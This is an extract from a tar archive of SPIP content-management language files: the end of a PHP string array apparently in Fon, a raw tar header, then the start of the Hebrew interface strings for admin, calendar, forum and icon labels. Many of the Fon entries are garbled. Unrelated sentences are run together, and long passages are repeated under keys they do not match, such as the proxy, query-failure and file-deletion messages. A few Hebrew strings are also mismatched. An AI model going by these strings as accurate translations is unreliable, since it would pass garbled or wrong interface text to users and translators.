'texte_nouvelle_version_spip_2' => 'Có nú mi ná bɛ xó ɔ nɛ nyí ɖɔ wɛn é lɔ kò yí àtɛ ɔ jí ɖá yí ɔ mi xlɛ nɔtɛn àlɔwlí yɔyɔ lɛ ná jɛ àtɛ ɔ jími ná sɔ yé xlɛ àzɔn ɖókpówɛn wékpá tɔn yé sɔ xlɛmi jláɖyɔ wékpá ɔmɔ̂ ɖò àzɔ wà wɛ áxókplémɔ mi tɔn sìwú yí wàlɔ é nɛ lɛ ámi hɛn mi ná zán wàlɔ càcàcà ɔ ámi ɖé sú mi bló jɛ xá myɔ wékwín yɔyɔ...)', # MODIF
'texte_operation_echec' => 'mi lɛ vɔ yí wékpá ɖé wá ɔ jí mi lɛ vɔ kpɔn xó é xwétɔ̂ sɛɖó ɔ.',
'texte_plus_trois_car' => 'E zɛ kwín àtɔn wú',
'texte_plusieurs_articles' => 'yé mɔ nyɔwlántɔ gégé"@cherche_auteur@":',
'texte_port_annuaire' => '(àcɛ yé nɔ ná nɔ jɛɖó.)',
'texte_proposer_publication' => 'Nú mi wlán wěmà mi tɔn fó ɔ mi síwú sɔɖó àtɛ jí .',
'texte_proxy' => 'Gbêgbè yé wlán wěmà ɔMi sɔ Azán ɖê yé sɔ wěmà sɔ xlɛàlɔwlí ɖévó lɛ ɖê gòsín gblogblojí é lɔ ján mi tìnmɛ càcàcàxójíjlá ɔmi sɔ ɖidé ɖó wěmà lɛ mɛsùpípù tɔn nú mi ná tò wěmà mi tɔn gànjí ɔ mi síwú zán kwín é lɔ lɛmi kó mɔ mi àmɔ mi sɔ ɖò xóxòkplégbàví ɔ mɛ ámi lɛ vɔ yí kànjí.',
'texte_publication_articles_post_dates' => 'Wàlɔtɛ sùpípù kàsíwú bló wémà ɖê jló ná sɔɖó àtɛ jí hwè ɖé vó nú ɔ?',
'texte_rappel_selection_champs' => '[Mi má wɔn bó sɔ kɛn nú tɛnmɛ ó.]',
'texte_recalcul_page' => 'Mi wɔn wékpá ɖòkpó sín àkɔwúntà bló mi ɖè.Mi lɛ vɔ bó zín .',
'texte_recapitiule_liste_documents' => 'wékpá nɔ bló àkɔwúntà wémà é ɖò àkpéxwé lɛ̂ mɛ.',
'texte_recuperer_base' => 'mi bló xóxòkplé ɔ ɖó',
'texte_reference_mais_redirige' => 'wémà é lɔ sùpípù mɛ wɛ é mɔ àcɛ ɖé àmɔ nɔtɛn ɖévɔ mɛ wɛ é xwè',
'texte_requetes_echouent' => 'Tìtòmɛ Sùpípù tɔn sɔ gbɔn uZine jíEtɛ wɛ nyí sùpípùWěmàxòkplé sùpípù tɔntɛmɛbìbá - blòɖóTìtòmɛ é nɔ zɔn bɔ yè nɔ ɖè nɛ ɖò gblogblòjí E zɛ kwín àtɔn wúàcɛ yé nɔ ná nɔ jɛɖóNú mi wlán wěmà mi tɔn fó ɔ mi síwú sɔɖó àtɛ jí Wàlɔtɛ sùpípù kàsíwú bló wémà ɖê jló ná sɔɖó àtɛ jí hwè ɖé vó nú ɔMi wɔn wékpá ɖòkpó sín àkɔwúntà bló mi ɖè.Mi lɛ vɔ bó zín bó sɔ kɛn nú tɛnmɛ ówékpá nɔ bló àkɔwúntà wémà é ɖò àkpéxwé lɛ̂ mɛ', # MODIF
'texte_selection_langue_principale' => 'Sùpípù ɔ tìtómɛ nù jíjlá tɔn ɖê minirézo kéjé bó lɛ vlɔnkán nú bíbló gblògblòjí uZine tɔn ɔ. Mì sɔ kɛ mí ɖò àcɛ wàlɔ GPl tɔn mɛ. Mī zé bò zán bó dó bló gblògblòjí lɛ̂ ná : é síwú nyí mì tɔn ɖé sú kàbí gbɛtá ɖé tɔn, kàbí tòxóɖɔgbɛ ɖé tɔn, àló àjɔwíwá wú.Gblògblòjí é lɔ̂, é wɛ nyí Wěmàxòkplé sùpípù tɔn ɖò tájí. Mí ná lɛ mɔ àlɔwlí gégé ɖê ná ɖɔn mî yì gblògblòjí ɖê jí kplékplé lɛ̂ nɔ tîn ɖè ɔ Tìtòmɛ Sùpípù tɔn sɔ gbɔn uZine jíEtɛ wɛ nyí sùpípùWěmàxòkplé sùpípù tɔn',
'texte_sous_titre' => 'Xótá gúdó',
'texte_statistiques_visites' => '(barres foncées : vòdùngbè / courbe foncée : évolution de la moyenne)',
'texte_statut_attente_validation' => 'E kpó bɔ yé ná sɔ kɛn ná',
'texte_statut_publies' => 'sɔɖò àtɛjí',
'texte_statut_refuses' => 'gbɛ bí',
'texte_suppression_fichiers' => 'tɛmɛbìbá - blòɖóTìtòmɛ é nɔ zɔn bɔ yè nɔ ɖè nɛ ɖò gblogblòjí E zɛ kwín àtɔn wúàcɛ yé nɔ ná nɔ jɛɖóNú mi wlán wěmà mi tɔn fó ɔ mi síwú sɔɖó àtɛ jí Wàlɔtɛ sùpípù kàsíwú bló wémà ɖê jló ná sɔɖó àtɛ jí hwè ɖé vó nú ɔMi wɔn wékpá ɖòkpó sín àkɔwúntà bló mi ɖè.Mi lɛ vɔ bó zín bó sɔ kɛn nú tɛnmɛ ó',
'texte_sur_titre' => 'xótájí',
'texte_table_ok' => 'wàlɔ̂ sɔ gbè.',
'texte_tables_indexation_vides' => 'wàlɔ̂ lɛ jɛ vɔ.',
'texte_tentative_recuperation' => 'tɛnkpɔn bíblóɖó tɔn',
'texte_tenter_reparation' => 'tɛnkpɔn bíblóɖó tɔn',
'texte_test_proxy' => 'tɛnkpɔn proxy,E zɛ kwín àtɔn wúàcɛ yé nɔ ná nɔ jɛɖóNú mi wlán wěmà mi tɔn fó ɔ mi síwú sɔɖó àtɛ jí .',
'texte_titre_02' => 'xótá :',
'texte_titre_obligatoire' => 'xótá[dódó]',
'texte_travail_article' => '@nom_auteur_modif@ é wàzɔ ɖó wékpá é lɔ wú @date_diff@ cɛjú',
'texte_travail_collaboratif' => 'Sùpípù ɔ tìtómɛ nù jíjlá tɔn ɖê minirézo kéjé bó lɛ vlɔnkán nú bíbló gblògblòjí uZine tɔn ɔ. Mì sɔ kɛ mí ɖò àcɛ wàlɔ GPl tɔn mɛ. Mī zé bò zán bó dó bló gblògblòjí lɛ̂ ná : é síwú nyí mì tɔn ɖé sú kàbí gbɛtá ɖé tɔn, kàbí tòxóɖɔgbɛ ɖé tɔn, àló àjɔwíwá wú.Gblògblòjí é lɔ̂, é wɛ nyí Wěmàxòkplé sùpípù tɔn ɖò tájí. Mí ná lɛ mɔ àlɔwlí gégé ɖê ná ɖɔn mî yì gblògblòjí ɖê jí kplékplé lɛ̂ nɔ tîn ɖè ɔ ',
'texte_trop_resultats_auteurs' => 'xógbè súkpɔ "@cherche_auteur@" ; mi lɛ vɔ bà',
'texte_unpack' => 'mi ɖon wàlɔ yɔyɔ wá',
'texte_utilisation_moteur_syndiques' => 'Sùpípù ɔ tìtómɛ nù jíjlá tɔn ɖê minirézo kéjé bó lɛ vlɔnkán nú bíbló gblògblòjí uZine tɔn ɔ. Mì sɔ kɛ mí ɖò àcɛ wàlɔ GPl tɔn mɛ. Mī zé bò zán bó dó bló gblògblòjí lɛ̂ ná : é síwú nyí mì tɔn ɖé sú kàbí gbɛtá ɖé tɔn, kàbí tòxóɖɔgbɛ ɖé tɔn, àló àjɔwíwá wú.Gblògblòjí é lɔ̂, é wɛ nyí Wěmàxòkplé sùpípù tɔn ɖò tájí. Mí ná lɛ mɔ àlɔwlí gégé ɖê ná ɖɔn mî yì gblògblòjí ɖê jí kplékplé lɛ̂ nɔ tîn ɖè ɔ Tìtòmɛ Sùpípù tɔn sɔ gbɔn uZine jíEtɛ wɛ nyí sùpípùWěmàxòkplé sùpípù tɔntɛmɛbìbá - blòɖóTìtòmɛ é nɔ zɔn bɔ yè nɔ ɖè nɛ ɖò gblogblòjí E zɛ kwín àtɔn wúàcɛ yé nɔ ná nɔ jɛɖó', # MODIF
'texte_utilisation_moteur_syndiques_2' => 'wàlɔ é lɔ nɔ zɔn bɔ sùpípù nɔ .',
'texte_vide' => 'jɛ vɔ',
'texte_vider_cache' => 'gbàv i ɔ jɛ vɔ',
'titre_admin_effacer' => 'wàlɔ zɔ',
'titre_admin_tech' => 'wàlɔ zɔ',
'titre_admin_vider' => 'wàlɔ zɔ',
'titre_cadre_afficher_article' => 'xlɛ wékpá lɛ',
'titre_cadre_afficher_traductions' => 'mi xlɛ ɖê gbè lɛ tìnmɛ gbɔn wɛ é :',
'titre_cadre_ajouter_auteur' => 'mi gɔ nyɔwlántɔ ɖòkpó ná :',
'titre_cadre_interieur_rubrique' => 'àkpáxwé ɔ mɛ',
'titre_cadre_numero_auteur' => 'núméló nyɔwlántɔ tɔn',
'titre_cadre_signature_obligatoire' => 'ɖálɔwěmàmɛ [dódó]',
'titre_config_fonctions' => 'tò gblogblojí ɔ ',
'titre_configuration' => 'tò gblogblojí ɔ ',
'titre_connexion_ldap' => 'wàlɔ :càcàdó LDAP',
'titre_groupe_mots' => 'Xóxòkplé lɛ :',
'titre_langue_article' => 'Gbèzán wékpâ tɔn', # MODIF
'titre_langue_rubrique' => 'Gbèzán àkpáxwé ɔ tɔn', # MODIF
'titre_langue_trad_article' => 'Gbèzán kpó tìnmɛ wékpâ tɔn ',
'titre_les_articles' => 'Wékpa lɛ ',
'titre_naviguer_dans_le_site' => 'kéjénúmɛ ɖò gblogblo ɔ jí ...',
'titre_nouvelle_rubrique' => 'àkpáxwé yɔyɔ',
'titre_numero_rubrique' => 'númɛló àkpáxwé tɔn :',
'titre_page_admin_effacer' => 'bìblóɖó: sùnsùn xóxòkplé ɔ',
'titre_page_articles_edit' => 'ɖyɔ : @titre@',
'titre_page_articles_page' => 'wékpá lɛ',
'titre_page_articles_tous' => 'gblogblojí ɔ bí ',
'titre_page_auteurs' => 'Jónɔ lɛ',
'titre_page_calendrier' => 'kàlanɖlyé@nom_mois@ @annee@',
'titre_page_config_contenu' => 'Tìtò gblogblojí ɔ tɔn',
'titre_page_config_fonctions' => 'Tìtò gblogblojí ɔ tɔn',
'titre_page_configuration' => 'Tìtò gblogblojí ɔ tɔn',
'titre_page_controle_petition' => 'Bɔ núkún nú xàjíjlá lɛ',
'titre_page_delete_all' => 'Sùnsùn bó gbìdí bí',
'titre_page_documents_liste' => 'wěmà àkpáxwé lɛ tɔn ',
'titre_page_index' => 'tɛnkánɖóvò',
'titre_page_message_edit' => 'wlán wɛn ',
'titre_page_messagerie' => 'wɛngbàví',
'titre_page_recherche' => 'xógbè é tɔn ɖò nú bíbà ɔ mɛ ɔ @recherche@',
'titre_page_statistiques_referers' => 'àkɔŋtá ',
'titre_page_upgrade' => 'mi vɛ jɔwú nú sùpípù ɔ ',
'titre_publication_articles_post_dates' => 'ɖéxlɛ wékpá é ná wà lɛ tɔn',
'titre_referencer_site' => 'àcɛ yíyí ɖò gblogblojí :',
'titre_rendez_vous' => 'gàmɛ ɖóɖó :',
'titre_reparation' => 'Bìblòɖó',
'titre_suivi_petition' => 'Bɔ núkún ɖó xójíjlá lɛ jí',
'trad_article_inexistant' => 'númɛló ɖé sɔgbè ɖó wépká é lɔ á.',
'trad_article_traduction' => 'wàlɔ wépká é lɔ tɔn lɛ bí',
'trad_deja_traduit' => 'wépká é lɔ kò nyí tìnmɛ wékpá ɖévó tɔn.',
'trad_delier' => 'yé má cá wépká é lɔ ɖó tìnmɛ é lɔ wú ó', # MODIF
'trad_lier' => 'kò nyí tìnmɛ wékpá ɖévó tɔn :',
'trad_new' => 'Lɛ wlán tìnmɛ wékpá ɖévó tɔn' # MODIF
);
?>
spip_he.php 0000666 00000113204 15252547432 0006722 0 ustar 00 <?php
// This is a SPIP language file -- Ceci est un fichier langue de SPIP
// extrait automatiquement de http://trad.spip.net/tradlang_module/spip?lang_cible=he
// ** ne pas modifier le fichier **
if (!defined('_ECRIRE_INC_VERSION')) return;
$GLOBALS[$GLOBALS['idx_lang']] = array(
// 0
'0_URL' => 'http://listes.rezo.net/mailman/listinfo/spip-dev',
'0_langue' => 'עברית [He]',
'0_liste' => 'spip-he@rezo.net',
'0_mainteneur' => 'ניקולא בגלין (nicolas.baguelin@free.fr)',
// A
'access_interface_graphique' => 'חזרה לממשק הגראפי השלם',
'access_mode_texte' => 'הופעת הממשק הטקסטואלי המפושט',
'admin_debug' => '(debug) תיקון הבאגים',
'admin_modifier_article' => 'תיקון המאמר',
'admin_modifier_auteur' => 'תיקון המחבר',
'admin_modifier_breve' => 'תיקון המבזק',
'admin_modifier_mot' => 'תיקון מילת המפתח',
'admin_modifier_rubrique' => 'תיקון המדור',
'admin_recalculer' => 'רענון הדף',
'afficher_trad' => 'הצג תרגומים',
'alerte_maj_impossible' => '<b>אזהרה !</b> עדכון של בסיס הנתונים SQL לגרסה @version@ אין אפשרות, אולי בגלל בעיית זכות הגישה לבסיס הנתונים. אנא צור קשר עם המאכסן שלך.',
'alerte_modif_info_concourante' => 'אזהרה: מידע כבר נשתנה במקום אחר. הערך הוא עכשיו :',
'analyse_xml' => 'ניתוח XML',
'annuler' => 'ביטול',
'antispam_champ_vide' => 'נא להשאיר מלבן זה ריק :',
'articles_recents' => 'מאמרים חדשים',
'avis_archive_incorrect' => 'קובץ הארכיון אינו קובץ SPIP ',
'avis_archive_invalide' => 'קובץ הארכיון אינו בר תוקף',
'avis_attention' => 'שים לב!',
'avis_champ_incorrect_type_objet' => 'שם שדה פסול @name@ לאובייקט מסוג @type@',
'avis_colonne_inexistante' => 'העמוד @col@ לא נמצא.',
'avis_erreur' => 'שגיאה: ראה להלן',
'avis_erreur_connexion' => 'שגיאת חיבור',
'avis_erreur_cookie' => 'בעיית קוקי',
'avis_erreur_fonction_contexte' => 'שגיאת תכנות. אי אפשר להפעיל את הפונקציה בהקשר זה. ',
'avis_erreur_mysql' => 'שגיאת SQL',
'avis_erreur_sauvegarde' => 'שגיאה בגיבוי (@type@ @id_objet@)!',
'avis_erreur_visiteur' => 'נתקלה בעיה בכניסה לאזור פרטי',
// B
'barre_a_accent_grave' => 'הכנסת "A" עם הדגשה ',
'barre_aide' => 'השתמש בקיצורים טיפוגרפיים כדי לעדן את המערך',
'barre_e_accent_aigu' => 'הכנסת "A" עם הדגשה ',
'barre_eo' => 'הכנסת האות הלטינית oe',
'barre_eo_maj' => 'הכנסת E בO',
'barre_euro' => 'הכנסת הסמל €',
'barre_gras' => '{{הבלטה}}',
'barre_guillemets' => '« מרכאות »',
'barre_guillemets_simples' => '”מרכאות פשוטות',
'barre_intertitre' => 'הפוך ל {{{בין כותרת}}}',
'barre_italic' => 'הפוך ל{נטוי}',
'barre_lien' => 'הפוך לקישור',
'barre_lien_input' => 'נא לציין את כתובת הקישור בהקלדת הכתובת בצורה http://www.mysite/com או בציון המספר של מאמר מאתר זה.',
'barre_note' => 'הפוך ל [[Note de bas de page]]',
'barre_paragraphe' => 'פסקה חדשה',
'barre_quote' => '<quote>ציטוט הודעה</quote>',
'bouton_changer' => 'תיקון',
'bouton_chercher' => 'חיפוש',
'bouton_choisir' => 'בחר',
'bouton_download' => 'הורדה', # MODIF
'bouton_enregistrer' => 'שמור',
'bouton_radio_desactiver_messagerie_interne' => 'ביטול ההתכתבות הפנימית',
'bouton_radio_envoi_annonces' => 'שליחת הודעות עורך',
'bouton_radio_non_envoi_annonces' => 'אל תשלח הודעות',
'bouton_radio_non_envoi_liste_nouveautes' => 'אל תשלח את רשימת החדשות האחרונה',
'bouton_recharger_page' => 'רענון הדף',
'bouton_telecharger' => 'הורדה',
'bouton_upload' => 'הורדה', # MODIF
'bouton_valider' => 'אישור',
// C
'cal_apresmidi' => 'אחרי הצהריים',
'cal_jour_entier' => 'יום שלם',
'cal_matin' => 'בוקר',
'cal_par_jour' => 'לוח הזמנים לפי היום',
'cal_par_mois' => 'לוח הזמנים לפי החודש',
'cal_par_semaine' => 'לוח הזמנים לפי השבוע',
'choix_couleur_interface' => 'צבע',
'choix_interface' => 'בחירת ממשק',
'colonne' => 'עמודה',
'confirm_changer_statut' => 'לתשומת לבך : בקשת לשנות את הסטטוס של אלמנט זה. האם ברצונך להמשיך ?',
'correcte' => 'נכון',
// D
'date_aujourdhui' => 'היום',
'date_avant_jc' => 'לפני הספירה הנוצרית',
'date_dans' => 'תוך @delai@',
'date_de_mois_1' => '@j@ ב@nommois@',
'date_de_mois_10' => '@j@ ב@nommois@',
'date_de_mois_11' => '@j@ ב@nommois@',
'date_de_mois_12' => '@j@ ב@nommois@',
'date_de_mois_2' => '@j@ ב@nommois@',
'date_de_mois_3' => '@j@ ב@nommois@',
'date_de_mois_4' => '@j@ ב@nommois@',
'date_de_mois_5' => '@j@ ב@nommois@',
'date_de_mois_6' => '@j@ ב@nommois@',
'date_de_mois_7' => '@j@ ב@nommois@',
'date_de_mois_8' => '@j@ ב@nommois@',
'date_de_mois_9' => '@j@ ב@nommois@',
'date_demain' => 'מחר',
'date_fmt_heures_minutes' => '@h@:@m@',
'date_fmt_jour_heure' => '@jour@ בשעה @heure@',
'date_fmt_jour_mois' => '@jour@ ב@nommois@',
'date_fmt_jour_mois_annee' => '@jour@ ב@nommois@ @annee@',
'date_fmt_mois_annee' => '@nommois@ @annee@',
'date_fmt_nomjour_date' => 'ב@nomjour@ @date@',
'date_heures' => 'שעות',
'date_hier' => 'אתמול',
'date_il_y_a' => 'יש @delai@',
'date_jnum1' => '1',
'date_jnum10' => '10',
'date_jnum11' => '11',
'date_jnum12' => '12',
'date_jnum13' => '13',
'date_jnum14' => '14',
'date_jnum15' => '15',
'date_jnum16' => '16',
'date_jnum17' => '17',
'date_jnum18' => '18',
'date_jnum19' => '19',
'date_jnum2' => '2',
'date_jnum20' => '20',
'date_jnum21' => '21',
'date_jnum22' => '22',
'date_jnum23' => '23',
'date_jnum24' => '24',
'date_jnum25' => '25',
'date_jnum26' => '26',
'date_jnum27' => '27',
'date_jnum28' => '28',
'date_jnum29' => '29',
'date_jnum3' => '3',
'date_jnum30' => '30',
'date_jnum31' => '31',
'date_jnum4' => '4',
'date_jnum5' => '5',
'date_jnum6' => '6',
'date_jnum7' => '7',
'date_jnum8' => '8',
'date_jnum9' => '9',
'date_jour_1' => 'יום ראשון',
'date_jour_1_abbr' => 'יום א’.',
'date_jour_1_initiale' => 'א.',
'date_jour_2' => 'יום שני',
'date_jour_2_abbr' => 'יום ב’.',
'date_jour_2_initiale' => 'ב.',
'date_jour_3' => 'יום שלישי',
'date_jour_3_abbr' => 'יום ג’.',
'date_jour_3_initiale' => 'ג.',
'date_jour_4' => 'יום רביעי',
'date_jour_4_abbr' => 'יום ד’.',
'date_jour_4_initiale' => 'ד.',
'date_jour_5' => 'יום חמישי',
'date_jour_5_abbr' => 'יום ה’.',
'date_jour_5_initiale' => 'ה.',
'date_jour_6' => 'יום שישי',
'date_jour_6_abbr' => 'יום ו’.',
'date_jour_6_initiale' => 'ו.',
'date_jour_7' => 'יום שבת',
'date_jour_7_abbr' => 'יום ש’.',
'date_jour_7_initiale' => 'ש.',
'date_jours' => 'ימים',
'date_minutes' => 'דקות',
'date_mois' => 'חודשים',
'date_mois_1' => 'ינואר',
'date_mois_10' => 'אוקטובר',
'date_mois_11' => 'נובמבר',
'date_mois_12' => 'דצמבר',
'date_mois_2' => 'פברואר',
'date_mois_3' => 'מרץ',
'date_mois_4' => 'אפריל',
'date_mois_5' => 'מאי',
'date_mois_6' => 'יוני',
'date_mois_7' => 'יולי',
'date_mois_8' => 'אוגוסט',
'date_mois_9' => 'ספטמבר',
'date_saison_1' => 'חורף',
'date_saison_2' => 'אביב',
'date_saison_3' => 'קיץ',
'date_saison_4' => 'סתיו',
'date_secondes' => 'שניות',
'date_semaines' => 'שבועות',
'date_un_mois' => 'חודש',
'date_une_heure' => 'שעה',
'date_une_minute' => 'דקה',
'date_une_seconde' => 'שני',
'date_une_semaine' => 'שבועה',
'dirs_commencer' => 'כדי להתחיל את ההתקנה',
'dirs_preliminaire' => 'פרלימינרי : <b>התקנת השגת גישה</b>',
'dirs_probleme_droits' => 'בעיית הגשת גישה',
'dirs_repertoires_absents' => '<b>לא נמצאו התיקיות הבאות <ul>@bad_dirs@.</ul> </b>
<p>סיבה אפשרית לכך אמורה להיות בשימוש אותיות גדולות או קטנות.
נא לבדוק שאכן גודל האותיות מתאים עם שמופיע
למעלה; אם לא, נא לשנות את שמות התיקיות בעזרת הקליינט FTP כדי לתקן את השגיאות
</p><p>אחרי שנעשה כך, אפשר</p>',
'dirs_repertoires_suivants' => '<b>התיקיות הבאות לא זוכים לכתיבה: <ul>@bad_dirs@.</ul> </b>
<p>כדי לשנות את זה, נא לשמש בקליינט FTP כדי לתת זכויות לכל אחת
מהתיקיות הללו. הפרוצדורה המדויקת נמצאת במדריך ההתקנה.
</p><p>אחרי שסיימת פעולה זו, אפשר </p>',
'double_occurrence' => 'כפול של @balise@',
// E
'en_cours' => 'בתוקף',
'envoi_via_le_site' => 'שליחה דרך האתר',
'erreur' => 'שגיאה',
'erreur_balise_non_fermee' => 'התאג האחרון אינו נגמר :',
'erreur_texte' => 'שגיאות',
'etape' => 'שלב',
// F
'fichier_introuvable' => 'לא נמצא הקובץ @fichier@',
'form_deja_inscrit' => 'אתה כבר רשום.',
'form_email_non_valide' => 'כתובת הדוא"ל שלך לא מתאימה.',
'form_forum_access_refuse' => 'הכניסה לאתר אסורה לך.',
'form_forum_bonjour' => 'שלום @nom@,',
'form_forum_email_deja_enregistre' => 'כתובת הדוא"ל הזאת כבר רשומה במערכת, כתוצאה מכך הינך יכול להשתמש בסיסמתך הרגילה.',
'form_forum_identifiant_mail' => 'המזהה החדש נשלח אליך בדוא"ל.',
'form_forum_identifiants' => 'פרטים אישיים',
'form_forum_indiquer_nom_email' => 'רשום כאן את שם וכתובת הדוא"ל. שם התחברות אישי יישלח בדוא"ל בקרוב.',
'form_forum_login' => ':שם התחברות',
'form_forum_message_auto' => '(זוהי הודעה ממוחשבת)',
'form_forum_pass' => 'סיסמה:',
'form_forum_probleme_mail' => '.בעיית דוא"ל: שם המשתמש לא יכול להישלח',
'form_forum_voici1' => 'הנה הפרטים שלך כדי להשתתף לחיי האתר
"@nom_site_spip@" (@adresse_site@):',
'form_forum_voici2' => 'הנה הפרטים שלך כדי להציע מאמרים על
האתר "@nom_site_spip@" (@adresse_login@) :',
'form_indiquer_email' => 'רשום את כתובת הדוא"ל.',
'form_indiquer_nom' => 'רשום את שמך.',
'form_indiquer_nom_site' => 'רשום את שם האתר שלך.',
'form_pet_deja_enregistre' => 'האתר הזה כבר רשום במערכת',
'form_pet_signature_pasprise' => 'חתימתך נתקלה בהתעלמות.',
'form_prop_confirmer_envoi' => 'אשר שליחה',
'form_prop_description' => 'תיאור/פירוש',
'form_prop_enregistre' => 'ההצעה שלך נרשמה, היא תופיע ברשת לאחר אישור של מנהלי האתר.',
'form_prop_envoyer' => 'שלח הודעה',
'form_prop_indiquer_email' => 'נא רשום כתובת דוא"ל ברת תוקף',
'form_prop_indiquer_nom_site' => 'נא רשום את שם האתר',
'form_prop_indiquer_sujet' => 'נא רשום נושא',
'form_prop_message_envoye' => 'ההודעה נשלחה',
'form_prop_non_enregistre' => 'ההצעה שלך לא נרשמה',
'form_prop_sujet' => 'נושא',
'form_prop_url_site' => 'הכתובת הכללית של האתר', # MODIF
'forum_non_inscrit' => 'או שאינך רשום במערכת או שהכתובת או הסיסמה שגויים.',
'forum_par_auteur' => 'מאת @auteur@',
'forum_titre_erreur' => 'שגיאה...',
// I
'ical_texte_rss_articles' => 'הקובץ backend של מאמרי האתר הזה נמצא בכתובת הבאה :',
'ical_texte_rss_articles2' => 'אפשר למצוא גם קבצים "backend" עבור המאמרים לכל מדור של האתר :',
'ical_texte_rss_breves' => 'מלבד זאת, ישנו קובץ אשר מכיל את פריטי המבזקים של האתר. על ידי בחירת מספר מדור, הינך יכול לקבל רק את פריטי המבזקים של המדור הזה.',
'icone_a_suivre' => 'אתר השיגור',
'icone_admin_site' => 'ניהול האתר',
'icone_agenda' => 'יומן',
'icone_aide_ligne' => 'עזרה',
'icone_articles' => 'מאמרים',
'icone_auteurs' => 'מחברים',
'icone_brouteur' => 'גלישה מהירה',
'icone_configuration_site' => 'תצורת האתר',
'icone_configurer_site' => 'עצב את אתרך',
'icone_creer_nouvel_auteur' => 'צור מחבר חדש',
'icone_creer_rubrique' => 'צור מדור חדש',
'icone_creer_sous_rubrique' => 'צור מדור משנה',
'icone_deconnecter' => 'התנתק',
'icone_discussions' => 'דיונים',
'icone_doc_rubrique' => 'מסמכים של המדורים',
'icone_ecrire_article' => 'כתוב מאמר חדש',
'icone_edition_site' => 'ערוך אתר',
'icone_gestion_langues' => 'ניהול שפה',
'icone_informations_personnelles' => 'מידע אישי',
'icone_interface_complet' => 'ממשק שלם',
'icone_interface_simple' => 'ממשק מפושט',
'icone_maintenance_site' => 'תחזוקת אתר',
'icone_messagerie_personnelle' => 'התכתבות אישית',
'icone_repartition_debut' => 'הצג חלוקה מן ההתחלה',
'icone_rubriques' => 'מדורים',
'icone_sauver_site' => 'גיבוי האתר',
'icone_site_entier' => 'האתר כולו',
'icone_sites_references' => 'אתרים עם מראי מקום',
'icone_statistiques' => 'סטטיסטיקת האתר',
'icone_suivi_activite' => 'מעקב אחר פעילות האתר',
'icone_suivi_actualite' => 'התפתחות האתר',
'icone_suivi_pettions' => 'מעקב/ניהול עצומות',
'icone_suivi_revisions' => 'שינוים במאמרים',
'icone_supprimer_document' => 'מחק מסמך זה',
'icone_supprimer_image' => 'מחק תמונה זו',
'icone_tous_articles' => 'כל המאמרים שלך',
'icone_tous_auteur' => 'כל המחברים',
'icone_visiter_site' => 'בקר את האתר', # MODIF
'icone_voir_en_ligne' => 'השקפת אונליין',
'img_indisponible' => 'תמונה לא נמצאת',
'impossible' => 'אי אפשר',
'info_a_suivre' => 'לעיקוב »',
'info_acces_interdit' => 'גישה אסורה',
'info_acces_refuse' => '"שלילת גישה"',
'info_action' => 'פעולה: @action@',
'info_administrer_rubriques' => 'הינך יכול לנהל מדור זה ואת מדורי המשנה שלו',
'info_adresse_non_indiquee' => '!אינך ציינת כתובת לבדוק',
'info_aide' => ':עזרה',
'info_ajouter_mot' => 'הוסף את מילת המפתח הזו',
'info_annonce' => 'מודעה',
'info_annonces_generales' => ':מודעות כלליות',
'info_article_propose' => 'מאמר טעון',
'info_article_publie' => 'מאמר פורסם',
'info_article_redaction' => 'מאמר בהתקדמות',
'info_article_refuse' => 'מאמר נדחה',
'info_article_supprime' => 'מאמר נמחק',
'info_articles' => 'מאמרים',
'info_articles_a_valider' => 'לתת תוקף למאמרים',
'info_articles_proposes' => 'מאמרי נטענו',
'info_auteurs_nombre' => ':(מחבר(ים',
'info_authentification_ftp' => '.(.אישור (על ידי אף.טי.פי',
'info_breves_2' => 'מבזקים',
'info_connexion_refusee' => 'החיבור מסורב',
'info_contact_developpeur' => '.אנא צור קשר עם המפתח',
'info_contenance' => ':האתר הזה מכיל',
'info_contribution' => 'תרומת הפורום', # MODIF
'info_copyright' => 'תוכנה מופצת בחינם <a href=\'license.txt\'>under GPL license.</a>',
'info_copyright_doc' => 'למידע נוסף, בקרו באתר זה <a href="@spipnet@">http://www.spip.net/en</a>.', # MODIF
'info_copyright_gpl' => 'תחת רשיון GPL',
'info_cours_edition' => 'המאמרים שלך בהתקדמות',
'info_creer_repertoire' => ':נא צור קובץ או ספרייה אשר נקראת',
'info_creer_repertoire_2' => 'בתוך מדור משנה <b>@repertoire@</b>, ואחרי כן:',
'info_creer_vignette' => 'יצירה אוטמטית של הגפנית',
'info_deplier' => 'להבהיר',
'info_descriptif_nombre' => ':(תיאור(ים',
'info_description' => ':תיאור',
'info_description_2' => ':תיאור',
'info_dimension' => ':גודל',
'info_ecire_message_prive' => 'כתוב הודעה אישית',
'info_email_invalide' => '.כתובת דוא"ל שגויה',
'info_en_cours_validation' => 'המאמרים שלך בהתקדמות',
'info_en_ligne' => ':מחוברים לאינטרנט עכשיו',
'info_envoyer_message_prive' => 'שלח הודעה אישית למחבר זה',
'info_erreur_requete' => ':שגיאה בשאלה',
'info_erreur_squelette2' => 'אף מסגרת אינו<b>@fichier@</b> זמין',
'info_erreur_systeme' => 'System error (errno @errsys@)',
'info_erreur_systeme2' => 'דיסק קשיח מלא או נזק בבסיס הנתונים. <br />
<font color=\'red\'>נסה/י <a href=\'@script@\'>תיקון נדבך הנתונים</a>,
או צור קשר עם המארח שלך.</font>', # MODIF
'info_fini' => '!גמור',
'info_format_image' => ':פורמט התמונה משומש ליצירת גפנית @gd_formats@.',
'info_format_non_defini' => 'פורמט לא ידוע',
'info_grand_ecran' => 'מסך גדול',
'info_image_aide' => 'עזרה',
'info_image_process_titre' => 'שיטה ליצירת הגפניות',
'info_impossible_lire_page' => '<b>Error!</b> הדף לא יכול להקרא <tt><html>@test_proxy@</html></tt> through the proxy <tt>',
'info_installation_systeme_publication' => '...התקנת מערכת פרסום',
'info_installer_documents' => 'אפשר להתקין אוטומטית את כל המסמכים שנמצאים בתיקיה @upload@.',
'info_installer_ftp' => 'כאחראי, אתה יכול להתקין (על ידי העברת קבצים באינטרנט FTP) קבצים בתיקיה @upload@ להעלות כדי לבחור אותם אחר כך ישירות מכאן.',
'info_installer_images' => 'JPEG,GIF,PNG אתה יכול להציב תמונות בפורמטים',
'info_installer_images_dossier' => 'הצב תמונות בתיקיה @upload@ להעלות בשביל שתוכל לבחור אותם כאן.',
'info_interface_complete' => 'ממשק שלם',
'info_interface_simple' => 'ממשק פשוט',
'info_joindre_document_article' => 'אתה יכול לחבר למאמר שלך מסמכים מסוגים',
'info_joindre_document_rubrique' => 'אתה יכול להוסיף למדור הזה מסמכים מסוג',
'info_joindre_documents_article' => ':אתה יכול לחבר למאמר שלך מסמכים מסוגים',
'info_l_article' => 'המאמר',
'info_la_breve' => 'המבזק',
'info_la_rubrique' => 'המדור',
